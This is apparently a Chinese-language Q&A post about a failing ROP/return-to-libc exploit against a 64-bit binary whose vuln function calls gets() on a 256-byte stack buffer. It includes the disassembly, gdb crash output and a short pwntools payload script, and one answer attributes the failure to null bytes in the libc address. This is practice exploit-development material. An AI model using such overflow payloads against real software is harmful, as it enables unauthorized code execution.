ROP 链:缓冲区溢出返回指针

逆向工程 二元分析 数据库 Python 缓冲区溢出 罗普
2021-06-22 02:55:11

我正在尝试使用 ROP 漏洞在 Ubuntu 18.04 LTS 64 位上工作。

我有一个带有 vuln 功能的 64 位二进制文​​件(启用 Nx,禁用 ASLR),如下所示:

public vuln
vuln proc near

var_100= byte ptr -100h

push    rbp
mov     rbp, rsp
sub     rsp, 100h
lea     rdi, s          ; "Gimme some data!"
call    _puts
lea     rax, [rbp+var_100]
mov     rdi, rax
mov     eax, 0
call    _gets
nop
leave
retn
vuln endp

我需要用 libc 基地址覆盖 vuln 函数的返回指针,我将在其中写入 execve 调用的参数。

缓冲区长 264 字节。因此,使用 272 'A' 我得到以下位置:

0x55555555471d <vuln+45>    ret    <0x4141414141414141>

堆:

00:0000│ rsp  0x7fffffffe2c8 ◂— 'AAAAAAAA'

但是当我尝试用 libc 地址(0x7ffff7a3a000)溢出时,它给出了一个 SIGSEGV 并且它的行为方式如下:

0x55555555471d <vuln+45>    ret    <0x3061785c3030785c>

堆:

00:0000│ rsp r11-6  0x7fffffffe2c8 ◂— 0x3061785c3030785c ('\\x00\\xa0')
01:0008│            0x7fffffffe2d0 ◂— 0xefbdbfef3361785c
02:0010│            0x7fffffffe2d8 ◂— 0x3030785cbdbf

我不知道我哪里错了!!!!我已经投入了这么多天,但没有任何程度。我以前做过缓冲区溢出,但从未遇到过这个问题。

以下是我生成有效负载的python脚本(这只是为了溢出返回地址):

#! /usr/bin/env python2

from pwn import *

payload = 'A' * 264
payload += p64(0x7ffff7a3a000)

print(payload)
1个回答

您传递的地址中的零导致字符串终止并且不存储以下值。您将无法以这种方式直接返回到 libc。相反,您需要一个不同的地址,它可以直接分支到 libc(但地址中不包含零),或者可以在执行 ret 之前为您推送该值。